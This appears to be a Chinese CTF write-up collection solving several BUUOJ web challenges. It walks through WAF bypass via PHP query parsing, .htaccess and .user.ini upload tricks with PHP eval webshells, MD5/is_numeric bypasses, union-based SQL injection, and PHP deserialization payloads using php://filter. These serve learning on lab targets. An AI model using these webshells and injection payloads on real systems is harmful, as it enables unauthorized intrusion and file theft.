/?+foo=bar变成Array([foo]=> “bar”)。 //?号后有一个+号
php在解析的时候,会先把空格(+)去掉,然后解析
原理2:scandir()列出目录和文件,var_dump()用于输出
scandir()函数返回指定目录中的文件和目录的数组。
scandir(/)相当于ls /
var_dump()相当于echo
原理3:file_get_contents()读取并输出文件内容
例如 file_get_contents(/flag.php),读取/flag.php的代码
2、分析
开启靶机,发现是一个计算机的界面,那么就正常计算,发现可以实现;输入其他则无回显。
查看源代码,看源码,发现有 waf 和路径

访问这个路径,是一段源代码

大概意思是:GET传入一个num,并且对num的值进行黑名单过滤,最后eval()执行。但是测试过后,黑名单过滤的不止源码列出来的。
输入字符,直接被waf拦截

应该是这样:当检测到用户输入数据时,首先时waf进行检测,通过后就是这个网站的后端代码继续正则检测。
3、斩题
原理一利用
首先绕过waf对于num属性的监听,利用原理一

由于waf原先是监听检测”num”,现在换成了” num”,成功绕过waf检测;但是php在解析的时候,会先把空格去掉,然后解析,这样实现绕过兼运行代码。
原理二利用
接下来我们尝试读取网站的目录结构

1
2
? num=var_dump(scandir(chr(47)))
//相当于? num=system(ls /)。chr(47)=" / "--ASCLL码值。

注意:函数内部的具体内容要使用ASCLL码绕过这个网站的后端代码继续正则检测
发现flag存在的目录

原理三的利用

1
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))//多个字符间不可使用空格,会被正则匹配到,所以换成.连接

4、成功获取到flag

学习连接
利用PHP的字符串解析特性Bypass:https://www.freebuf.com/articles/web/213359.html

[MRCTF2020]你传你🐎呢

开启靶机,是一个文件上传的界面。
1、首先常规测试。
直接上传php文件,发现直接被检测到拦截,尝试常规的思路进行绕过,都被打道回府。


2、配置文件.htaccess绕
那么这里就可以上传一个配置文件,以.htaccess命名,内容为:

1
2
3
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>

上传一个.htaccess文件,这个.htaccess文件的作用就是把这个图片文件解析成php代码执行。
直接上传即可,注意,MIME值要抓包修改。

成功上传。
3、然后上传一个图片马
内容是

1
2
<script language='php'>eval($_REQUEST[shell]);</script>
//不使用<?php eva($_REQUEST[shell])?>,因为防一手检测。

随后直接上传,成功。

4、webshell管理工具连接
访问的网址应该是:
http://c95ecc9c-8102-4d9d-ba7d-f558ae384843.node4.buuoj.cn:81/upload/cfdfb305e6a0a106262f15d58e1f6b9a/shell.png
即去掉/var/www/html/
成功找到flag

[MRCTF2020]Ez_bypass

关键:1、MD5绕过
2、is_numeric()绕过
开启靶机,直接查看源码即可。

2、代码审计
简而言之就两处比较重要:

1
if (md5($id) === md5($gg) && $id !== $gg)

注意这里是===强等于,可以将参数设置为数组进行绕过;如果是双等号弱等于,可以找两个md5加密后开头都是0e(这样就会被认为是科学计数法)的参数进行绕过
第一处:
在网址栏填入?id[]=1&gg[]=2

1
if (!is_numeric($passwd))

第二处:
3种方法绕过。
法一数组加16进制绕过:
passwd[]=12D687(1234567的16进制)
法二%00与%20截断:is_numeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值,而%20空格字符只能放在数值后。
passwd=1234567%00(%20也可)
法三:passwd=1234567a
最终:post提交:passwd=1234567%20
3、斩
根据上述分析,最终填入

直接爆出flag。
参考
https://blog.csdn.net/weixin_50597969/article/details/115492810

[GXYCTF2019]BabySQli

打开靶机,标准的登录界面。
首先测试是否存在注入点
ps:在用户名|密码输入都可,个人习惯在密码框输入。
输入1,密码随便输入
提示不存在这个用户

输入1’,密码随便输入
直接报错,说明输入的’带入到数据库查询,存在注入点,且是字符型注入

接下来尝试万能密码

1
1' or 1=1#

应该是对or存在过滤,这里双写绕过也行不通,过滤做得挺好的。

既然对or存在过滤,那么报错盲注应该也不行。
然后尝试堆叠注入

1
1';show database();#

但是dabtabse()又被过滤了。
盲猜
然后我就不断尝试,发现select,union没被过滤
那我就先爆一下字段数

1
1' union select 1,2,3#

1
1' union select 1,2#


那么可以确定字段数为3。
测试3个字段时,提示用户不对,那么猜测3个字段中有一个是select username,一个select password。
继续测试,看看具体是哪一个,这里有点跳跃,因为我直接猜username是admin。

1
1' union select 1,'admin',3#


测试出第二个字段是username。
关键-联合注入添加临时用户
利用sqli的特性:当union联合查询不存在的数据时,联合查询就会构造一个虚拟的数据
那么我在密码输入1
那么,payload如下(下面那一长串为1的md5值)

1
1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#

ps:密码的字段靠试,1的位置没有爆出那么就尝试3的位置。

1
我的理解是:执行以上sql语句时,在查询的时候并没有在数据库中匹配到(因为username虽然匹配了,但是password仍没有匹配),那么union就会创造一个临时的数据,也就在数据库中临时加上了:'admin' '1',然后我密码输入1,刚好匹配。

直接爆出flag。
题外话:当字段在中间时,要用括号括起来,且用select(也就是把新查询的结果当作这段sql语句的第二个字段值显示出来)

1
2
1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web'),3#
table_schema!!!

[GXYCTF2019]BabyUpload

这道题没啥好说的,但给了我一个警示:MIME类型不能仅仅局限于修改为image/png更要眼观六路,不行就换成jpeg的,试完全部才不会遗漏

[ZJCTF 2019]NiZhuanSiWei

开启靶机,直接是一段php代码。
直接代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ // file_get_contents()把 $text 的文件中内容读入一个字符串中。
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){ // 正则过滤 $file 参数中不能有 flag
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password); // php 反序列化
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

主要是三层过滤
第一层--利用php伪协议data://text/plain绕过

1
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))// file_get_contents()把 $text 的文件中内容读入一个字符串中。

file_get_contents($text,’r’)是读取文件的内容,说明我们首先要上传一个文件,并且它的内容还得是”welcome to the zjctf”,我们考虑用data协议,data协议通常是用来执行PHP代码,然而我们也可以将内容写入data协议中的逗号后面然后让file_get_contents函数取读取。
payload

1
2
3
?text=data://text/plain,welcome to the zjctf

?text=data://text/plain;base64,(welcome to the zjctf)的base64


成功绕过第一层。
ps:其实使用php://input也可以实现绕过

1
2
POST /?text=php://input
xxxx

但是只支持post,这里是get,所以使用data://text/plain。
第二层--利用php://filter先读取关键文件
由于对flag存在正则过滤,不能直接通过获取flag来拿到结果,不过可以用 php://filter 过滤器来进行绕过,先获取 unseless.php 的文件base64编码后的数据。

1
2
3
4
5
6
7
8
if(preg_match("/flag/",$file)){		// 正则过滤 $file 参数中不能有 flag 
echo "Not now!";
exit();
}else{
include($file); //useless.php,这里就提示可以使用php://filter读取文件包含的这个文件
$password = unserialize($password); // php 反序列化
echo $password;
}

payload

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解码后得到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

第三层--php反序列化
我把读取后的代码整合到一起就是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
$password = unserialize($password); // php 反序列化
echo $password;

也就是说,有一个flag.php需要我们使用上述代码的函数进行读取,怎么读取呢?看到反序列化,那可以先序列化。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
class Flag{
public $file='flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$flag=new Flag();
echo serialize($flag);
?>

最终payload

1
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

获取flag。

[网鼎杯 2020 青龙组]AreUSerialz

直接代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<?php
include("flag.php");//文件包含flag.php,这里后期看看可不可用使用php://filter读取
highlight_file(__FILE__);
class FileHandler {//定义一个类
protected $op;//三个属性
protected $filename;
protected $content;
function __construct() {//创造类时调用,如果没有指定参数,默认使用此处的参数
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}

public function process() {//判断op的值,为1进入write();为2进入read();
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}

private function write() {//向某一个目录写入
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}

private function read() {//读取文件,可以使用php://filter协议读取
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}

private function output($s) {//简单输出
echo "[Result]: <br>";
echo $s;
}

function __destruct() {//析构函数,这里是强比较,容易绕过
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

}

function is_valid($s) {//判断每一个字符的ASCII值
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}

具体代码分析已经注释。
细看代码,细细分析之后其实并不难,主要是几个细节要注意。
1、is_valid()

1
2
3
4
5
6
function is_valid($s) {//判断每一个字符的ASCII值
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}

is_valid(): 要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,不符合上面的要求。
绕过方法: 因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符。
2、强比较类型===

1
2
3
4
5
6
function __destruct() {//析构函数,这里是强比较,容易绕过
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}

这类型的比较连类型不同也比较,那我可以传入数字型的2实现绕过。
所以构造生成序列化payload函数

1
2
3
4
5
6
7
8
9
<?php
class FileHandler {
public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";//利用文件包含
public $content=1;//随意
}
$flag=new FileHandler();
echo serialize($flag);
?>

填入序列化payload

1
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";i:1;}

读取到flag

[SUCTF 2019]CheckIn

题目处看到存在源代码
我是经过上传测试后,发现双写,改后缀,传配置文件等都上传失败,而且想利用图片马的,但是没有存在文件包含漏洞,不知道有没有解析漏洞。
然后看源码的过滤规则吧。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {
$tmp_name = $_FILES["fileUpload"]["tmp_name"];
$name = $_FILES["fileUpload"]["name"];
if (!$tmp_name) {//应该是限制了文件大小
die("filesize too big!");
}
if (!$name) {//文件不可以为空
die("filename cannot be empty!");
}
$extension = substr($name, strrpos($name, ".") + 1);
if (preg_match("/ph|htacess/i", $extension)) {//黑名单正则过滤
die("illegal suffix!");
}
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {//对文件内容进行检测
die("&lt;? in contents!");
}
$image_type = exif_imagetype($tmp_name);//再次对文件的类型进行过滤
if (!$image_type) {
die("exif_imagetype:not image!");
}
$upload_file_path = $userdir . "/" . $name;//上传文件成功显示目录的文件
move_uploaded_file($tmp_name, $upload_file_path);
echo "Your dir " . $userdir. ' <br>';
echo 'Your files : <br>';
var_dump(scandir($userdir));
}

相关代码作用见注释,主要是几个点要记录一下。
1、黑名单正则匹配后缀如何绕过

1
2
3
if (preg_match("/ph|htacess/i", $extension)) {//黑名单正则过滤
die("illegal suffix!");
}

(1)、垃圾符号
就是加入很多符号,企图让其崩。
详情:https://blog.csdn.net/qq_53079406/article/details/123525882
(2)、配置文件
apache的.htaccess
php通用的.user.ini
https://www.cnblogs.com/gaonuoqi/p/12337572.html
2、若检测文件的内容如何绕过检测

1
2
3
if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {//对文件内容进行检测
die("&lt;? in contents!");
}

(1)、改用script脚本

1
<script language='php'>eval($_REQUEST[1]);</script>

3、exif_imagetype函数如何绕过

1
2
3
4
$image_type = exif_imagetype($tmp_name);//再次对文件的类型进行过滤
if (!$image_type) {
die("exif_imagetype:not image!");
}

这里介绍一下exif_imagetype()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# exif_imagetype — 判断一个图像的类型
# 语法
exif_imagetype(string $filename): int
$filename 被检查的图像文件名。
# 返回值:如果发现了恰当的签名则返回一个对应的常量,否则返回 false

# exif_imagetype() 读取一个图像的第一个字节并检查其签名。
# 本函数可用来避免调用其它 exif 函数用到了不支持的文件类型上或和 $_SERVER['HTTP_ACCEPT'] 结合使用来检查浏览器是否可以显示某个指定的图像。

# 预定义的常量
1 IMAGETYPE_GIF
2 IMAGETYPE_JPEG
3 IMAGETYPE_PNG
4 IMAGETYPE_SWF
5 IMAGETYPE_PSD
6 IMAGETYPE_BMP
7 IMAGETYPE_TIFF_II(Intel 字节顺序)
8 IMAGETYPE_TIFF_MM(Motorola 字节顺序)
9 IMAGETYPE_JPC
10 IMAGETYPE_JP2
11 IMAGETYPE_JPX
12 IMAGETYPE_JB2
13 IMAGETYPE_SWC
14 IMAGETYPE_IFF
15 IMAGETYPE_WBMP
16 IMAGETYPE_XBM

(1)、魔术幻术头
在文件前添加GIF89a然后上传。
几个知识点以及注意点已经记录,那么这道题怎么破?
利用.use.ini
https://blog.csdn.net/weixin_33694172/article/details/87981584
.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
所以,构造一个.user.ini,内容如下然后上传。

1
2
GIF89a
auto_prepend_file=123.png

这句代码的意思是,指定123.png文件每次都包含在要执行的php文件前,前提是目录下有.php文件。上文中提到了目录下有index.php文件,那么满足条件,只要访问index.php,那么123.png文件的代码都会先执行
再构造一句话

1
2
GIF89a
<script language='php'>eval($_REQUEST[8]);</script>

找一张图片,合成图片马(无所谓)

1
copy 1.png+1.php 123.png

将这些全部上传后,先尝试访问index.php观察一句话木马文件是否被包含。

直接蚁剑连接找flag(当然也可以直接在url上输入命令)

参考:https://www.cnblogs.com/gaonuoqi/p/12337572.html

[GYCTF2020]Blacklist

这道题看我上面的[强网杯 2019] 随便注–SQL 注入 | 堆叠注入,几乎一样是堆叠注入的思路。